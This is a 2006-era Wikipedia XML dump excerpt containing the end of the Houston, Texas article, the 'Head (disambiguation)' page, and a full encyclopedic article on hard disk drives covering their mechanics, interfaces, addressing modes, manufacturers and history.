*[[Image:Flag of Mexico.svg|20px|]] [[Tampico]], [[Tamaulipas]], [[Mexico]] (2003)
*[[Image:Flag_of_Russia.svg|20px|]] [[Tyumen]], [[Russia]] (1995)

==Sources==
*{{handbookoftexas|id=HH/hdh3|name=Houston, Texas}}
*http://www.flagspot.net, http://fotw.vexillum.com/flags/us-tx-hu.html - Source of flag image. Image made by Tony DeFalco
*[http://www.pbase.com/ngruev/houston Nothing but pictures of Houston] Link provided by the author of the pictures - Nikola Gruev
* {{cite book | last = Johnston | first = Marguerite | title = Houston, The Unknown City, 1836-1946 | publisher = Texas A&amp;M University Press | year = 1991 | id = ISBN 0-89096-476-9 }}
* {{cite book | last = Miller | first = Ray | title = Ray Miller's Houston | publisher = Gulf Publishing Company | year = 1984 | id = ISBN 0-88415-081-X }}
* {{cite book | last = Slotboom | first = Oscar F. &quot;Erik&quot; | title = Houston Freeways | publisher = Oscar F. Slotboom | year = 2003 | id = ISBN 0-9741605-3-9 }}

== External links ==
{{sisterlinks|Houston}}
*[http://www.chinatownconnection.com/ Houston Chinatown]
*[http://www.houstontx.gov/ City of Houston homepage]
*[http://www.downtownhouston.org/ Downtown Houston Alliance]
*[http://www.uptown-houston.com/ Uptown Houston]
*[http://www.houstonmidtown.com/ Midtown Houston]
*[http://www.houstonhistory.com/ Detailed History of Houston]
*[http://www.wildtexas.com/parks/results.php?nearby_cities=Houston Houston Area Parks]
*[http://www.spacetaker.com/ Calendar of Local Cultural Arts Events]
*[http://HoustonHomePage.com/ Many Houston Links and pictures]
*[http://www.pbase.com/ngruev/houston Nothing but pictures of Houston]
*[[WikiTravel:Houston|Wikitravel article about Houston]]
*[http://www.houstonfreeways.com  Houston Freeways]
*[http://www.fly2houston.com/home Houston Airport System]
*[http://www.housealmanac.com/property/houston/houston-texas.htm Houston Real Estate Statistics]
*[http://www.angelfire.com/tx6/houstoncelebrity/ Famous Houstonians]

{{Houston, Texas}}
{{Houston-Sugar Land-Baytown MSA}}
{{Texas}}
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{{USLargestCities}}

[[Category:Handbook of Texas citations]]
[[Category:Houston, Texas| ]]
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      <text xml:space="preserve">#REDIRECT [[Houston, Texas]]</text>
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  <page>
    <title>Head (disambiguation)</title>
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      <timestamp>2006-03-03T04:14:34Z</timestamp>
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      <comment>Added beer head</comment>
      <text xml:space="preserve">{{wiktionarypar|head}}
Some [[dictionary|dictionaries]] define nearly thirty meanings of the word '''head'''.  However, a majority of usages are associated with the connotation of forward, top, essential, control, etc., which are derived from attributes of an animal head (or brain).


==Meanings in the sciences==
*In [[anatomy]], the '''[[head (anatomy)|head]]''' of an [[animal]] is the [[superior]] part that bears the [[mouth]], the [[brain]] and various sensory organs (e.g. organs of sight, hearing, smell and taste).
* By extension, the word '''head''' can refer to the top of an object or to a protuberance near the top (''head'' of a nail).  
* In [[botany]], a '''[[head (botany)|head]]''' is a type of [[inflorescence]], previously known as a [[composite flower]] &amp;mdash; a structure composed of numerous individual [[flower]]s.
* In [[linguistics]], the '''[[head (linguistics)|head]]''' is the main part of a [[phrase]] or [[compound]]. Based on this meaning, '''head-first''' and '''head-last''' are informal terms for right and left [[branching (linguistics)|branching]].
* In [[fluid dynamics]], '''[[head (hydraulic)|hydraulic head]]''' refers to the constant right hand side in the incompressible steady version of [[Bernoulli's equation]].

==Technology==
* In [[internal combustion engine]]s, the '''[[cylinder head]]''' refers to the part of an [[engine]] that is bolted to the engine block, over the [[piston]]s and [[cylinder (engine)|cylinder]]s.
* In the [[Unix]] operating system, the '''&lt;tt&gt;[[head (Unix)|head]]&lt;/tt&gt;''' command provides the first few lines of a file.
* HEAD is a request method in '''[[HTTP]]'''.
* A &quot;head&quot; can be a '''[[computer display]]'''.
* Head can be shorthand for a [[drive head]], the mechanism responsible for reading and writing the medium in [[magnetic storage|magnetic disk drives]].  Less frequently, it is applied to the analogous mechanism in [[optical storage|optical disk drives]].
* '''[[Concurrent Versions System|CVS]] HEAD'''

==Culture==
* In the context of [[coin flipping]], the '''heads''' (usually [[Obverse and reverse|obverse]]) side of a coin (as opposed to the ''tails'' side) is the side with a person's head on it.
* In [[organization]]al [[hierarchy|hierarchies]], '''head''' is often a noun in a job description or an adjective (or occasionally a noun) in a title.
* In [[jazz music]], particularly [[bebop]], the '''[[Head (music)|head]]''' is the repeated, non-improvised section of a composition that bookends individual solo passages, usually at the beginning and end of a performance or recording.  It is similar to the [[refrain|chorus]] or [[hook (music)|hook]] in other musical genres.  
* In [[slang]] referring to [[human sexuality]], '''''head''''' or more specifically &quot;giving...&quot; or &quot;getting head&quot;, refers to the act of '''[[oral sex]]''', being [[fellatio]] or [[cunnilingus]], and can be applied to the act in any gender combination. It may originate from the idea of the &quot;active&quot; partner using (part of) their head for the benefit especially of the other, though the head, or [[glans]] of the male [[penis]] may have influenced the usage to some extent. 
* The word ''head'' can mean a person in slang, and is commonly found in compound words such as '''[[pothead]]''' or '''[[crackhead]]'''.
* In [[sailing]], &quot;head&quot; can mean:
**The '''[[head (sailing)|head]]''' of a [[sail]] is its uppermost corner or, in the case of four-cornered sails, sometimes its uppermost edge.
**The '''[[head sail]]''' is a [[jib]], [[spinnaker]] or any other sail set forward of the foremost [[mast (sailing)|mast]].
**The '''[[Head (watercraft)|head]]''' is the [[Glossary of nautical terms|nautical name]] both for a [[toilet]] or [[latrine]] of a [[watercraft|marine vessel]], and for the structure projecting from the bows of sailing ships which served the same purpose for the crew.
*In [[carbonated]] [[beverages]] and particularly [[beer]], the '''''head''''' refers to the [[emulsion]] of liquid and [[carbon dioxide]] (the [[foam]] at the top) that occurs when the beverage is agitated, as when poured into a container.

==As a name==
* ''Head'' is a leading global manufacturer and marketer of premium sports equipment.
* ''Head'' is the nickname of [[Korn|KoЯn's]] former [[guitarist]] '''[[Brian Welch]]'''.
* '''[[Head (movie)|Head]]''' is a [[surrealism|surreal]]ly comic [[film|movie]] starring [[The Monkees]]. '''[[Head (Motion Picture Soundtrack)]]''' is the soundtrack album to the movie.
* &quot;Head&quot; is a song by [[Prince (artist)|Prince]] from his 1980 album [[Dirty Mind]].
* [[Human Head Studios]] is the name of a game making company.
*[[Walter W. Head]] [[Boy Scouts of America]] member of the [[World Scout Committee]] of the [[World Organization of the Scout Movement]] from 1931 until 1939 and again from 1947 until 1949 

{{disambig}}

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  <page>
    <title>Hard disk</title>
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      <contributor>
        <ip>209.206.181.145</ip>
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      <comment>spelling</comment>
      <text xml:space="preserve">A '''hard disk drive''' ('''HDD''', or also '''hard drive''') is a [[non-volatile storage|non-volatile]] [[data storage device]] that stores data on a [[Magnetism|magnetic]] surface layered onto [[hard disk platters]].

[[Image:Hard disk WD 400.jpg|300px|thumb|Top and bottom views of a [[Western Digital]] WD400 3.5&amp;quot; hard disk]]

==Mechanics==

[[Image:Hard_disk_dismantled.jpg|thumb|right|250px|The inside of a hard disk with the platter removed. To the left is the read-write arm. In the middle the electromagnets of the platter's motor can be seen.]]

A hard disk uses [[hard disk platter|platters]] (disks). Each platter has a [[planar]] magnetic surface on which digital data may be stored. Information is written to the disk by transmitting an electromagnetic [[flux]] through a [[disk read-and-write head|read-write head]] that is very close to a magnetic material, which in turn changes its polarization due to the flux. The information can be read by a read-write head which senses electrical change as the magnetic fields pass by in close proximity as the platter rotates.

A typical hard disk drive design consists of a central axis or spindle upon which the platters spin at a constant rotational velocity. Moving along and between the platters on a common armature are read-write heads, with one head for each platter surface. The armature moves the heads radially across the platters as they spin, allowing each head access to the entirety of the platter.

The associated electronics control the movement of the read-write armature and the rotation of the disk, and perform reads and writes on demand from the disk controller. Modern drive firmware is capable of scheduling reads and writes efficiently on the disk surfaces and remapping sectors of the disk which have failed.

Also, most major hard drive and motherboard vendors now support
[[Self-Monitoring, Analysis and Reporting Technology|S.M.A.R.T.]]
technology, by which impending failures can often be predicted,
allowing the user to be alerted in time to prevent data loss.

The (mostly) sealed enclosure protects the drive internals from dust, condensation, and other sources of contamination. The hard disk's read-write heads fly on an [[air bearing]] (a cushion of air) only [[nanometer]]s above the disk surface. The disk surface and the drive's internal environment must therefore be kept immaculately clean to prevent damage from fingerprints, hair, dust, smoke particles, etc. given the submicroscopic gap between the heads and disk.

Contrary to popular belief a hard disk drive does not contain a [[vacuum]]. Instead, the system relies on air pressure inside the drive to support the heads at their proper ''flying height'' while the disk is in motion. Another common misconception is that a hard drive is totally sealed. A hard disk drive requires a certain range of air pressures in order to operate properly. If the air pressure is too low, the air will not exert enough force on the flying head, the head will not be at the proper height, and '''there is a risk of head crashes and data loss'''. (Specially manufactured sealed and pressurized drives are needed for reliable high-altitude operation, above about 10,000 feet. This does not apply to pressurized enclosures, like an [[aircraft|airplane]] cabin.) Modern drives include temperature sensors and adjust their operation to the operating environment. 

[[Image:Hard_disk_head.jpg|thumb|right|250px|Close-up of a hard disk head resting on the disk platter.]]

Hard disk drives are not airtight. They have a permeable filter (a '''breather filter''') between the top cover and inside of the drive, to allow the pressure inside and outside the drive to equalize while keeping out dust and dirt. The filter also allows moisture in the air to enter the drive. Very high humidity year-round will cause accelerated wear of the drive's heads (by increasing [[stiction]], or the tendency for the heads to stick to the disk surface, which causes physical damage to the disk and spindle motor). You can see these breather holes on all drives -- they usually have a warning sticker next to them, informing the user not to cover the holes. The air inside the operating drive is constantly moving too, being swept in motion by friction with the spinning disk platters. This air passes through an internal filter to remove any leftover contaminants from manufacture, any particles that may have somehow entered the drive, and any particles generated by [[head crash]].

Due to the extremely close spacing of the heads and disk surface, any contamination of the read-write heads or disk platters can lead to a [[head crash]] &amp;mdash; a failure of the disk in which the head scrapes across the platter surface, often grinding away the thin magnetic film. For  [[Giant_magnetoresistive_effect |Giant Magnetoresistive]] (GMR) heads in particular, a minor head crash from contamination (that does not remove the magnetic surface of the disk) will still result in the head temporarily overheating, due to friction with the disk surface, and renders the disk unreadable until the head temperature stabilizes. Head crashes can be caused by electronic failure, a sudden power failure, physical shock, wear and tear, or poorly manufactured disks. Normally, when powering down, a hard disk moves its heads to a safe area of the disk, where no data is ever kept (the ''landing zone''). However, especially in old models, sudden power interruptions or a power supply failure can result in the drive shutting down with the heads in the data zone, which increases the risk of data loss. Newer drives are designed such that the rotational inertia in the platters is used to safely park the heads in the case of unexpected power loss. IBM pioneered drives with &quot;head unloading&quot; technology that lifts the heads off the platters onto &quot;ramps&quot; instead of having them rest on the platters, reducing the risk of stiction. Other manufacturers also use this technology.

[[Image:Rwheadmicro.JPG|thumb|right|250px|Microphotograph of a hard disk head. The size of the front edge is about 0.3 * 1.2 mm. The functional part of the head is the round, orange structure in the middle. Also note the connection wires bonded to gold-plated pads.]]

[[Apple Computer]] has created a technology for their new [[PowerBook]] line of laptop computers called [[Sudden Motion Sensor]], or SMS. When a sudden, sharp movement is detected by the built-in motion sensor in the PowerBook, internal hard disk heads automatically unload themselves into the parking zone to reduce the risk of any potential data loss or scratches made.

Spring tension from the head mounting constantly pushes the heads towards the disk. While the disk is spinning, the heads are supported by an air bearing and experience no physical contact wear. The sliders (the part of the heads that are closest to the disk and contain the pickup coil itself) are designed to reliably survive a number of landings and takeoffs from the disk surface, though wear and tear on these microscopic components eventually takes its toll. Most manufacturers design the sliders to survive 50,000 contact cycles before the chance of damage on startup rises above 50%. However, the decay rate is not linear &amp;mdash; when a drive is younger and has fewer start/stop cycles, it has a better chance of surviving the next startup than an older, higher-mileage drive (as the head literally drags along the drive's surface until the air bearing is established). For example, the Maxtor DiamondMax series of desktop hard drives are rated to 50,000 start-stop cycles. This means that no failures attributed to the head-disk interface were seen before at least 50,000 start-stop cycles during testing.

Using rigid platters and sealing the unit allows much tighter tolerances than in a [[floppy disk]]. Consequently, hard disks can store much more data than floppy disk, and access and transmit it faster. In [[2005]], a typical [[workstation]] hard disk might store between 80 GB and 500 GB of data, rotate at 7,200 to 10,000 [[rpm]], and have a sequential media transfer rate of over 50 MB/s. The fastest workstation and server hard drives spin at 15,000 rpm, and can achieve sequential media transfer speeds of up to 100 MB/s. Notebook hard drives, which are physically smaller than their desktop counterparts, tend to be slower and have less capacity. Most spin at only 4,200 rpm or 5,400 rpm, though the newest top models spin at 7,200 rpm.

The platters are made from a non-magnetic material, usually glass or aluminum, and coated on both sides with a thin layer of magnetic material, usually [[iron(III) oxide]]
[http://www.computerpoweruser.com/editorial/article.asp?guid=&amp;article=articles/hardware/2004/h0707/harddrivesterm.asp]
.

==Access and interfaces==
A hard disk is generally accessed over one of a number of bus types, including [[Advanced Technology Attachment|ATA]] (IDE, EIDE), [[Serial ATA]], [[SCSI]], SAS, [[FireWire]] (aka IEEE 1394), [[Universal Serial Bus|USB]], and [[Fiber Channel]]. 

Back in the days of the [[ST-506]] interface, the data [[encoding]] scheme was also important. The first ST-506 disks used [[Modified Frequency Modulation]] (MFM) encoding (which is still used on the common &quot;1.44 MB&quot; (1.4 [[Mebibyte|MiB]]) 3.5-inch floppy), and ran at a data rate of 5 [[megabit]]s per second. Later on, controllers using ''2,7 [[RLL]]'' (or just &quot;RLL&quot;) encoding increased this by half, to 7.5 megabits per second; it also increased drive capacity by half. 

Many ST-506 interface drives were only certified by the manufacturer to run at the lower MFM data rate, while other models (usually more expensive versions of the same basic drive) were certified to run at the higher RLL data rate. In some cases, the drive was overengineered just enough to allow the MFM-certified model to run at the faster data rate; however, this was often unreliable and was not recommended. (An RLL-certified drive could run on a MFM controller, but with 1/3 less data capacity and speed.)

ESDI also supported multiple data rates (ESDI drives always used 2,7 RLL, but at 10, 15 or 20 megabits per second), but this was usually negotiated automatically by the drive and controller; most of the time, however, 15 or 20 megabit ESDI drives weren't downward compatible (i.e. a 15 or 20 megabit drive wouldn't run on a 10 megabit controller). ESDI drives typically also had jumpers to set the number of sectors per track and (in some cases) sector size.

SCSI originally had just one speed, 5 MHz (for a maximum data rate of 5 megabytes per second), but later this was increased dramatically. The SCSI bus speed had no bearing on the drive's internal speed because of buffering between the SCSI bus and the drive's internal data bus; however, many early drives had very small buffers, and thus had to be reformatted to a different interleave (just like ST-506 drives) when used on slow computers, such as early [[IBM PC compatible]]s and [[Apple Macintosh]]es.

ATA drives have typically had no problems with interleave or data rate, due to their controller design, but many early models were incompatible with each other and couldn't run in a master/slave setup (two drives on the same cable). This was mostly remedied by the mid-1990s, when ATA's specfication was standardised and the details began to be cleaned up, but still causes problems occasionally (especially with CD-ROM and DVD-ROM drives, and when mixing [[Ultra_DMA|Ultra DMA]] and non-UDMA devices). 

Serial ATA does away with master/slave setups entirely, placing each drive on its own channel (with its own set of I/O ports) instead.

FireWire/IEEE 1394 and USB(1.0/2.0) hard disks are external units containing generally ATA or SCSI drives with ports on the back allowing very simple and effective expansion and mobility.  Most FireWire/IEEE 1394 models are able to [[Daisy chain#Computer Engineering|daisy-chain]] in order to continue adding peripherals without requiring additional ports on the computer itself.

== Other characteristics ==
* Capacity (measured in gigabytes)
* Physical size (inches)
** Almost all hard disks today are of either the 3.5&quot;, used in desktops, or 2.5&quot;, used in laptops, variety. 2.5&quot; drives are usually slower and have less capacity but use less power and are more tolerant of movement. An increasingly common size is the 1.8&quot; drives used in portable MP3 players, which have very low power consumption and are highly shock-resistant. Additionally, there is the 1&quot; form factor designed to fit the dimensions of [[Compact Flash|CF]] Type II, which is usually used as storage for portable devices such as [[mp3 player]]s and [[digital camera]]s.  1&quot; was a de facto form factor lead by [[IBM]]'s [[Microdrive]], but is now generically called 1&quot; due to other manufacturers producing similar products.  There is also a 0.85&quot; form factor produced by [[Toshiba]] for use in mobile phones and similar applications.  The size designations can be slightly confusing, for example a 3.5&quot; disk drive has a case that is 4&quot; wide.  Furthermore, server-class hard disks also come in both 3.5&quot; and 2.5&quot; form factors.
* Reliability: Mean Time Between Failures (MTBF)
** SATA 1.0 drives support speeds up to 10,000 rpm and mean time between failure (MTBF) levels up to 1 million hours under an eight-hour, low-duty cycle. [[Fiber Channel]] (FC) drives support up to 15,000 rpm and an MTBF of 1.4 million hours under a 24-hour duty cycle.
* Number of I/O operations per second
** Modern disks can perform around 50 [[random access|random]] or 100 [[Sequential access|sequential]] OPS
* [[Power consumption]] (especially important in battery-powered laptops)
* audible noise (in [[dBA]], although many still report it in bels, not decibels)
* G-shock rating (surprisingly high in modern drives)
*Transfer Rate
** Inner Zone: from 44.2 MB/sec to 74.5 MB/sec
** Outer Zone: from 74.0 MB/sec to 111.4 MB/sec
*[[Random access time]]: from 5 ms to 15 ms

Addressing modes
There are two modes of addressing the data blocks on more recent hard disks. The older mode is [[Cylinder-head-sector|CHS]] addressing ([[Cylinder (disk drive)|Cylinder]]-[[Disk read-and-write head|Head]]-[[Sector]]), used on old [[ST-506]] and ATA drives and internally by the PC [[BIOS]]. The more recent mode is the LBA ([[Logical block addressing|Logical Block Addressing]]), used by SCSI drives and newer ATA drives (ATA drives power up in CHS mode for historical reasons). 

CHS describes the disk space in terms of its physical dimensions, data-wise; this is the traditional way of accessing a disk on [[IBM PC compatible]] hardware, and while it works well for floppies (for which it was originally designed) and small hard disks, it caused problems when disks started to exceed the design limits of the PC's CHS implementation. The traditional CHS limit was 1024 cylinders, 16 heads and 63 sectors; on a drive with 512-byte sectors, this comes to 504 MiB (528 megabytes). The origin of the CHS limit lies in a combination of the limitations of IBM's BIOS interface (which allowed 1024 cylinders, 256 heads and 64 sectors; sectors were counted from 1, reducing that number to 63, giving an addressing limit of 8064 MiB or 7.8 [[Gibibyte|GiB]]), and a hardware limitation of the AT's hard disk controller (which allowed up to 65536 cylinders and 256 sectors, but only 16 heads, putting its addressing limit at 2^28 bits or 128 GiB). 

When drives larger than 504 MiB began to appear in the mid-1990s, many system BIOSes had problems communicating with them, requiring LBA BIOS upgrades or special driver software to work correctly. Even after the introduction of LBA, similar limitations reappeared several times over the following years: at 2.1, 4.2, 8.4, 32, and 128 GiB. The 2.1, 4.2 and 32 GiB limits are ''hard limits'': fitting a drive larger than the limit results in a PC that refuses to boot, unless the drive includes special jumpers to make it appear as a smaller capacity. The 8.4 and 128 GiB limits are ''soft limits'': the PC simply ignores the extra capacity and reports a drive of the maximum size it is able to communicate with. 

SCSI drives, however, have always used LBA addressing, which describes the disk as a linear, sequentially-numbered set of blocks. SCSI mode page commands can be used to get the physical specifications of the disk, but this is not used to read or write data; this is an artifact of the early days of SCSI, circa 1986, when a disk attached to a SCSI bus could just as well be an ST-506 or ESDI drive attached through a bridge (and therefore having a CHS configuration that was subject to change) as it could be a native SCSI device. Because PCs use CHS addressing internally, the BIOS code on PC SCSI host adapters does CHS-to-LBA translation, and provides a set of CHS drive parameters that tries to match the total number of LBA blocks as closely as possible. 

ATA drives can either use their native CHS parameters (only on very early drives; hard drives made since the early 1990s use [[zone bit recording]], and thus don't have a set number of sectors per track), use a &quot;translated&quot; CHS profile (similar to what SCSI host adapters provide), or run in ATA LBA mode, as specified by ATA-2. To maintain some degree of compatibility with older computers, LBA mode generally has to be requested explicitly by the host computer. ATA drives larger than 8 GiB are always accessed by LBA, due to the 8 GiB limit described above.

See also: [[hard disk drive partitioning]], [[master boot record]], [[file system]], [[drive letter assignment]], [[boot sector]].

==Manufacturers==
[[image:Hitachinotebookhd.jpg|thumb|right|250px|[[Hitachi, Ltd.|Hitachi]] 2.5 inch [[laptop]] hard drive]]
Most of the world's hard disks are now manufactured by just a handful of large firms: [[Seagate Technology|Seagate]], [[Maxtor Corporation|Maxtor]] (now owned by [[Seagate Technology|Seagate]]), [[Western Digital]], [[Samsung]], and [[Hitachi Ltd.|Hitachi]], the former drive manufacturing division of [[International Business Machines|IBM]]. [[Fujitsu]] continues to make specialist notebook and SCSI drives but exited the mass market in 2001. [[Toshiba]] is a major manufacturer of 2.5-inch and 1.8-inch notebook drives.

===Firms that have come and gone===
Dozens of former hard drive manufacturers have gone out of business, merged, or closed their hard drive divisions; as capacities and demand for products increased, profits became hard to find, and there were shakeouts in the late 1980s and late 1990s. The first notable casualty of the business in the PC era was [[Computer Memories International]] or CMI; after the 1985 incident with the faulty 20MB AT drives, CMI's reputation never recovered, and they exited the hard drive business in 1987. Another notable failure was [[MiniScribe]], who went bankrupt in 1990 after it was found that they had &quot;cooked the books&quot; and inflated sales numbers for several years. Many other smaller companies (like [[Kalok]], [[Microscience International Corporation|Microscience]], LaPine, Areal, Priam and PrairieTek) also did not survive the shakeout, and had disappeared by 1993; [[Micropolis Corporation|Micropolis]] was able to hold on until 1997, and [[JT Storage|JTS]], a relative latecomer to the scene, lasted only a few years and was gone by 1999. [[Rodime plc|Rodime]] was also an important manufacturer during the 1980s, but stopped making drives in the early 1990s amid the shakeout and now concentrates on technology licensing; they hold a number of patents related to 3.5-inch form factor hard drives.

There have also been a number of notable mergers in the hard disk industry:
*[[Tandon]] sold its disk manufacturing division to Western Digital (which was then a controller maker and [[Application-specific integrated circuit|ASIC]] house) in 1988; by the early 1990s Western Digital disks were among the top sellers.
*In 1995, [[Conner Peripherals]] announced a merger with Seagate (who had earlier bought Imprimis from [[Control Data Corporation|CDC]]), which was completed in early 1996.
*JTS infamously merged with [[Atari]] in 1996, giving it the capital it needed to bring its drive range into production.
*In 2003, following the controversy over the mass failures of its [[Deskstar 75GXP]] range, hard disk pioneer IBM sold the majority of its disk division to Hitachi, who renamed it ''Hitachi Global Storage Technologies''.
*[[Quantum Corporation|Quantum]] bought [[Digital Equipment Corporation|DEC]]'s storage division in 1994, and later (2000) sold the hard disk division to Maxtor to concentrate on tape drives. In December 2005, however, Maxtor itself was acquired by Seagate for USD1.9 billion.

In the [[United Kingdom]], [[Cumana (manufacturer)|Cumana]], a manufacturer of disk drives for [[Acorn Computers|Acorn]] computers, ceased manufacturing drives in 1995.

===&quot;Marketing&quot; capacity versus true capacity===
Hard drive manufacturers often use the [[SI_prefix|metric]] definition of the prefixes &quot;[[giga]]&quot; and &quot;[[mega]]&quot;, whilst nearly all [[operating system]] utilities report capacities using [[Binary numeral system|binary]] definitions for the prefixes.  This is largely for historical reasons, since when storage capacities started to exceed thousands of bytes, there were no standard binary prefixes. The [[International_Electrotechnical_Commission|IEC]] only standardized [[Binary_prefix#IEC_standard_prefixes|binary prefixes]] in [[1999]], so 2&lt;sup&gt;10&lt;/sup&gt; (1024) bytes was called a [[kilobyte]] because 1024 is &quot;close enough&quot; to the metric prefix [[kilo]], which is defined as 10&lt;sup&gt;3&lt;/sup&gt; or 1000.  This trend became habit and continued to be applied to the prefixes &quot;[[mega]],&quot; &quot;[[giga]],&quot; and even &quot;[[tera]].&quot;  Obviously the discrepancy becomes much more noticeable in reported capacities in the multiple gigabyte range, and users will often notice that the volume capacity reported by their OS is significantly less than that advertised by the hard drive manufacturer.  For example, a drive advertised as 200 [[giga|GB]] can be expected to store close to 200 x 10&lt;sup&gt;9&lt;/sup&gt;, or 200 [[billion]], bytes.  This uses the proper [[SI]] definition of &quot;giga,&quot; 10&lt;sup&gt;9&lt;/sup&gt; and can be considered as an approximation of a [[gibibyte]].  Since utilities provided by the operating system probably define a gigabyte as 2&lt;sup&gt;30&lt;/sup&gt;, or 1073741824, bytes, the reported capacity of the drive will be closer to 186.26 GB (actually, GiB), a difference of well over 7 percent.  For this very reason, many utilities that report capacity have begun to use the aforementioned IEC standard binary prefixes (e.g. [[Kibibyte|KiB]], [[Mebibyte|MiB]], [[Gibibyte|GiB]]) since their definitions are unambiguous.

Another side point is that many people mistakenly attribute the discrepancy in reported and advertised capacities to reserved space used for file system and partition accounting information.  However, for large (several GiB) filesystems, this data rarely occupies more than several MiB, and therefore cannot possibly account for the apparent &quot;loss&quot; of tens of GBs.

==Hard disk usage==
From the original use of a hard drive in a single computer, techniques for guarding against hard disk failure were developed such as the [[redundant array of independent disks]] (RAID).  Hard disks are also found in [[network attached storage]] (NAS) devices, but for large volumes of data are most efficiently used in a [[storage area network]] (SAN). Applications for hard disk drives expanded to include  [[personal video recorder]]s, [[digital audio player]]s, [[Personal digital assistant|digital organizers]] and digital cameras. In 2005 the first cellular telephones to include hard disk drives were introduced by [[Samsung_Group|Samsung]] and [[Nokia]].

==History==
[[Image:IBM_old_hdd.jpg|300px|thumb|Old IBM Hard Disk Drive.]]

The first hard disk drive was the [[IBM]] 350 Disk File, invented by [[Reynold B. Johnson|Reynold Johnson]] and introduced in 1955 with the [[IBM 305]] computer.  This drive had fifty 24 inch platters, with a total capacity of five million characters.  A single head was used for access to all the platters, making the average access time very slow.

The IBM 1301 Disk Storage Unit, announced in 1961, introduced the usage of a separate head for each data surface.

The first disk drive to use removable media was the IBM 1311 drive, which used the IBM 1316 disk pack to store two million characters.

In 1973, IBM introduced the [[IBM 3340|3340]] &quot;Winchester&quot; disk system, the first to use a sealed head/disk assembly (HDA). Almost all modern disk drives now use this technology, and the term &quot;Winchester&quot; became a common description for all hard disks, though generally falling out of use during the 1990s. Project head designer/lead designer [[Kenneth Haughton]] named it after the [[Winchester rifle|Winchester 30-30 rifle]] after the developers called it the &quot;30-30&quot; because of its two 30 MB spindles.

For  many years, hard disks were large, cumbersome devices, more suited to use in the protected environment of a data center or large office than in a harsh industrial environment (due to their delicacy), or small office or home (due to their size and power consumption). Before the early 1980s, most hard disks had 8-inch (20 cm) or 14-inch (35 cm) platters, required an equipment rack or a large amount of floor space (especially the large removable-media drives, which were often referred to as &quot;[[washing machine]]s&quot;), and in many cases needed high-amperage or even three-phase power hookups due to the large motors they used. Because of this, hard disks were not commonly used with microcomputers until after 1980, when [[Seagate Technology]] introduced the ST-506, the first 5.25-inch hard drive, with a capacity of 5 megabytes. In fact, in its factory configuration the original [[IBM PC]] (IBM 5150) was not equipped with a hard drive. 

Most microcomputer hard disk drives in the early 1980s were not sold under their manufacturer's names, but by [[Original equipment manufacturer|OEM]]s as part of larger peripherals (such as the [[Corvus Disk System]] and the [[Apple ProFile]]). The IBM PC/XT had an internal hard disk, however, and this started a trend toward buying &quot;bare&quot; drives (often by [[mail order]]) and installing them directly into a system. Hard disk makers started marketing to end users as well as OEMs, and by the mid-1990s, hard disks had become available on retail store shelves.

While internal drives became the system of choice on PCs, external hard drives remained popular for much longer on the [[Apple Macintosh]] and other platforms. Every Mac made between 1986 and 1998 has a [[SCSI]] port on the back, making external expansion easy; also, &quot;toaster&quot; Macs did not have easily accessible hard drive bays (or, in the case of the Mac Plus, any hard drive bay at all), so on those models, external SCSI disks were the only reasonable option. External SCSI drives were also popular with older microcomputers such as the [[Apple II]] series, and were also used extensively in [[server]]s, a usage which is still popular today. The appearance in the late 1990s of high-speed external interfaces such as [[Universal Serial Bus|USB]] and [[FireWire]] has made external disk systems popular among regular users once again, especially for users who move large amounts of data between two or more locations, and most hard disk makers now make their disks available in external cases. 

The capacity of hard drives has grown exponentially over time. With early personal computers, a drive with a 20 megabyte capacity was considered large.  In the latter half of the 1990s, hard drives with capacities of 1 gigabyte and greater became available.  As of early 2005, the &quot;smallest&quot; desktop hard disk in production has a capacity of 40 gigabytes, while the largest-capacity internal drives are a half terabyte (500 gigabytes), with external drives at or exceeding one terabyte.

===Drive Families===
Notable drive families include:
* [[Modified Frequency Modulation|MFM]] (Modified Frequency Modulation) drives required that the &quot;controller&quot; electronics be compatible with the drive electronics.
* [[Run Length Limited|RLL]] (Run Length Limited) was a way of encoding bits onto the platters that allowed for better density.
* [[Enhanced Small Disk Interface|ESDI]] (Enhanced Small Disk Interface) was an interface developed by Maxtor to allow faster communication between the PC and the disk.
* [[SCSI]] (Small Computer System Interface) was an early competitor with ESDI, originally named SASI for Shugart Associates.
* [[Advanced Technology Attachment|ATA/IDE and EIDE]] (Advanced Technology Attachment)/(Integrated Drive Electronics)
* [[Serial ATA|SATA]] (Serial ATA)

When the price of electronics dropped (and because of a demand by consumers) the electronics that had been stored on the controller card were moved to the disk drive itself. This advance was known as &quot;Integrated Drive Electronics&quot; or IDE. IDE drives were slower than SCSI drives because they did not have as big a cache, and could not write directly to RAM. IDE manufacturers attempted to close this speed gap by introducing Logical Block Addressing (LBA); these drives were known as EIDE. SCSI manufacturers continued to improve SCSI's performance, but at a price — its interfaces were more expensive. In order for EIDE's performance to keep pace with SCSI (while keeping the cost of the associated electronics low), manufacturers began to move from &quot;parallel&quot; to &quot;serial&quot; interfaces, the result of which is the SATA interface. However, [[as of 2005]], performance of SATA and PATA disks is comparable. [[Fiber channel]] (FC) interfaces are primarily used in server drives.

==Timeline of capacity and other technical improvements==
* (CS) denotes an improvement in the consumer market.
===1950s===
*1956 - first commercial hard disk, the [[IBM 350]] RAMAC disk drive, 5 megabyte.

===1960s===

===1970s===
===1980s===
*1980 - first 5.25-inch Winchester drive, the Shugart ST-506, 5 megabyte (CS)
*1986 - Standardization of SCSI

===1990s===

*1991 - 100 megabyte hard drive (CS)
*1994 - ATA-1 standardized
*1995 - 2 gigabyte hard drive (CS)
*1997 - 10 gigabyte hard drive (CS)
*1998 - UltraDMA/33 and ATAPI standardized
*1999 - IBM releases the [[Microdrive]] in 170MB and 340MB capacities (CS)

===2000s===
*2002 - 137 GB addressing space barrier broken
*2003 - [[Serial ATA]] introduced
*2005 - 500 GB hard drive
*2005 - Serial ATA 3G standardized
*2005 - Introduction of faster SAS (Serial Attached SCSI)

==See also==
*[[Disk storage]]
*[[Early IBM disk storage]]
*[[Superparamagnetic effect]]
*[[External hard drive]]
*[[Kryder's law]]
*[[File system]]
* [[PRML]]

==External links==
{{commons|Hard disk}}
* The PC Guide: [http://www.pcguide.com/ref/hdd/hist-c.html A Brief History of the Hard Disk Drive]
* [http://www.pcdoctor-guide.com/wordpress/?p=595 Inside a hard drive]
* Technical Whitepaper (non marketing): [http://www.actionfront.com/ts_whitepaper.asp  Comprehensive Overview of Modern Recording Techniques and Hard Disk Drive Technologies]
*[http://www.pcguide.com/intro/fun/bindec.htm Binary versus Decimal]
